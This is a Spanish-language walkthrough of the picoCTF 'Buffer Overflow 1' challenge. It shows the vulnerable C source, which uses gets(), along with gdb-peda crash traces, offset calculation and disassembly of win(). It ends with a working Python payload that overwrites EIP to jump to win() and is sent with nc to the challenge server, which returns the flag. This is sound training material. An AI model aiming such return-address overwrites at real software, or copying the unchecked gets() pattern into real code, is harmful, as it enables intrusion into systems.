Buffer Overflow 1


February 10, 20246 minutes

Material / Información

  • Dominio: saturn.picoctf.net
  • Puerto: 63667 (Puede variar)
  • Binario (vuln)
  • Script en c del binario (vuln.c)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

Empezamos…

Primero ejecutamos el script desde gdb-peda y le mandamos muchas “A”

python2 -c 'print "A" * 100' | ./vuln
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
zsh: done                python2 -c 'print "A" * 100' | 
zsh: segmentation fault  ./vuln

Nos devuelve el error segmentation fault, eso es porque hemos puesto un input más grande que el esperado y hemos sobreescrito registros de la memoria. Esto pasa porque en la función vuln se usa la función gets() la cual no hace ninguna verificación del tamaño de la entrada, lo que da paso a un desbordamiento del buffer

El script mostró el siguiente mensaje Jumping to 0x41414141, Si es verdad el mensaje significa que estamos saltando a la dirección 0x41414141, así que hemos conseguido sobreescribir el EIP a 0x41414141 que “41” significa “A”

Pero no nos podemos fiar de ese mensaje así que vamos a ejecutar el script con gdb-peda para comprobar el valor del EIP

> gdb ./vuln

gdb-peda$ r

Please enter your string: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Okay, time to return... Fingers Crossed... Jumping to 0x41414141

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x41414141 ('AAAA')
ECX: 0xffffcf2c --> 0xf2f7c200 
EDX: 0x1 
ESI: 0x8049350 (<__libc_csu_init>:	endbr32)
EDI: 0xf7ffcba0 --> 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcfb0 ('A' <repeats 52 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffcfb0 ('A' <repeats 52 times>)
0004| 0xffffcfb4 ('A' <repeats 48 times>)
0008| 0xffffcfb8 ('A' <repeats 44 times>)
0012| 0xffffcfbc ('A' <repeats 40 times>)
0016| 0xffffcfc0 ('A' <repeats 36 times>)
0020| 0xffffcfc4 ('A' <repeats 32 times>)
0024| 0xffffcfc8 ('A' <repeats 28 times>)
0028| 0xffffcfcc ('A' <repeats 24 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$ 

Ahora ya sí que podemos confirmar que tenemos la capacidad de sobreescribir el EIP.

El siguiente paso será calcular cuantas “A” tenemos que poner hasta llegar al EIP, esto lo podríamos hacer manual, o usar la siguiente función de gdb

gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

Esto nos crea una cadena de caracteres especialmente diseñada para esto. Una vez creada la mandamos al programa

Por último para terminar de calcularlo le pasaremos el valor del EIP para que gdb-peda calcule el offset.

gdb-peda$ pattern offset $eip
1094796865 found at offset: 44

Ya tenemos el offset 44.

Vamos a analizar un poco el programa para entenderlo.

En la funcion vuln

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

Se llama a otra función llamada get_return_address, esta función no se define en ninguna parte de este código así que vamos a abrir el binario con ghydra para investigar esta función.

undefined4 get_return_address(void)

{
  int unaff_EBP;
  
  return *(undefined4 *)(unaff_EBP + 4);
}

Parece que esta devolviendo el valor del EBP + 4 posiciones, Pero que hay 4 posiciones más arriba del EBP?

Para saberlo vamos a calcular la cantidad de “A” que necesitamos para sobreescribir el EBP, igual que hemos hecho con el EIP

gdb-peda$ pattern offset $ebp
found at offset: 40

Si para llegar al EBP necesitamos 40 “A” i para el EIP necesitamos 44 “A” lo que hay 4 bytes más arriba del EBP es el EIP. Para verlo desde gdb podemos hacer lo siguiente.

Creamos un payload con 40 “A”, 4 “B” y 4 “C”

python3 -c 'print("A" * 40 + "B" * 4 + "C" * 4)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

Al mandarlo desde gdb podemos comprobar la conclusión sacada anteriormente

EBP: 0x42424242 ('BBBB')
ESP: 0xffffcfb0 --> 0xf7c21600 --> 0xbad06 
EIP: 0x43434343 ('CCCC')

Ahora ya sabemos bien que hace la función vuln, ahora vamos a ir con la win.

Función win

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

Podemos intuir que por esta función estará la flag, ya que está abriendo un archivo en modo lectura llamado flag.txt…

Es curioso porque la función win no se llama en ningún punto del script, de hecho desde la función main solo se llama a la funcion vuln() y en ninguna parte de la función vuln() hemos visto que se llame a la función win()

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

Pero aquí viene la magia, aunque no se llame a la función vuln, la podemos llamar nosotros, ya que tenemos el control sobre el EIP y podemos redirigir el flujo del programa hacia la función win

Primero vamos a buscar desde gdb-peda la dirección de la función win

gdb-peda$ disassemble win
Dump of assembler code for function win:
   0x080491f6 <+0>:	endbr32
   0x080491fa <+4>:	push   ebp
   0x080491fb <+5>:	mov    ebp,esp
   0x080491fd <+7>:	push   ebx
   0x080491fe <+8>:	sub    esp,0x54
   0x08049201 <+11>:	call   0x8049130 <__x86.get_pc_thunk.bx>
   0x08049206 <+16>:	add    ebx,0x2dfa
   0x0804920c <+22>:	sub    esp,0x8
   0x0804920f <+25>:	lea    eax,[ebx-0x1ff8]
   0x08049215 <+31>:	push   eax
   0x08049216 <+32>:	lea    eax,[ebx-0x1ff6]
   0x0804921c <+38>:	push   eax
   0x0804921d <+39>:	call   0x80490c0 <fopen@plt>
   0x08049222 <+44>:	add    esp,0x10
   0x08049225 <+47>:	mov    DWORD PTR [ebp-0xc],eax
   0x08049228 <+50>:	cmp    DWORD PTR [ebp-0xc],0x0
   0x0804922c <+54>:	jne    0x8049258 <win+98>
   0x0804922e <+56>:	sub    esp,0x4
   0x08049231 <+59>:	lea    eax,[ebx-0x1fed]
   0x08049237 <+65>:	push   eax
   0x08049238 <+66>:	lea    eax,[ebx-0x1fd8]
   0x0804923e <+72>:	push   eax
   0x0804923f <+73>:	lea    eax,[ebx-0x1fa3]
   0x08049245 <+79>:	push   eax
   0x08049246 <+80>:	call   0x8049040 <printf@plt>
   0x0804924b <+85>:	add    esp,0x10
   0x0804924e <+88>:	sub    esp,0xc
   0x08049251 <+91>:	push   0x0
   0x08049253 <+93>:	call   0x8049090 <exit@plt>
   0x08049258 <+98>:	sub    esp,0x4
   0x0804925b <+101>:	push   DWORD PTR [ebp-0xc]
   0x0804925e <+104>:	push   0x40
   0x08049260 <+106>:	lea    eax,[ebp-0x4c]
   0x08049263 <+109>:	push   eax
   0x08049264 <+110>:	call   0x8049060 <fgets@plt>
   0x08049269 <+115>:	add    esp,0x10
   0x0804926c <+118>:	sub    esp,0xc
   0x0804926f <+121>:	lea    eax,[ebp-0x4c]
   0x08049272 <+124>:	push   eax
   0x08049273 <+125>:	call   0x8049040 <printf@plt>
   0x08049278 <+130>:	add    esp,0x10
   0x0804927b <+133>:	nop
   0x0804927c <+134>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x0804927f <+137>:	leave
   0x08049280 <+138>:	ret
End of assembler dump.

Vamos a hacer que el EIP apunte a 0x080491f6 para poder llamar a la función win.

python2 -c "from struct import pack; eip = pack('<I', 0x080491f6); print b'A' * 44 + eip" | ./vuln

Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
Please create 'flag.txt' in this directory with your own debugging flag.

Hemos podido redirigir el programa hacia la función win!!!! Pero claro, nosotros no tenemos la flag, así que vamos a ejecutarlo desde el dominio y puerto que nos han proporcionado al inicio

python2 -c "from struct import pack; eip = pack('<I', 0x080491f6); print b'A' * 44 + eip" | nc saturn.picoctf.net 56276

Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy...}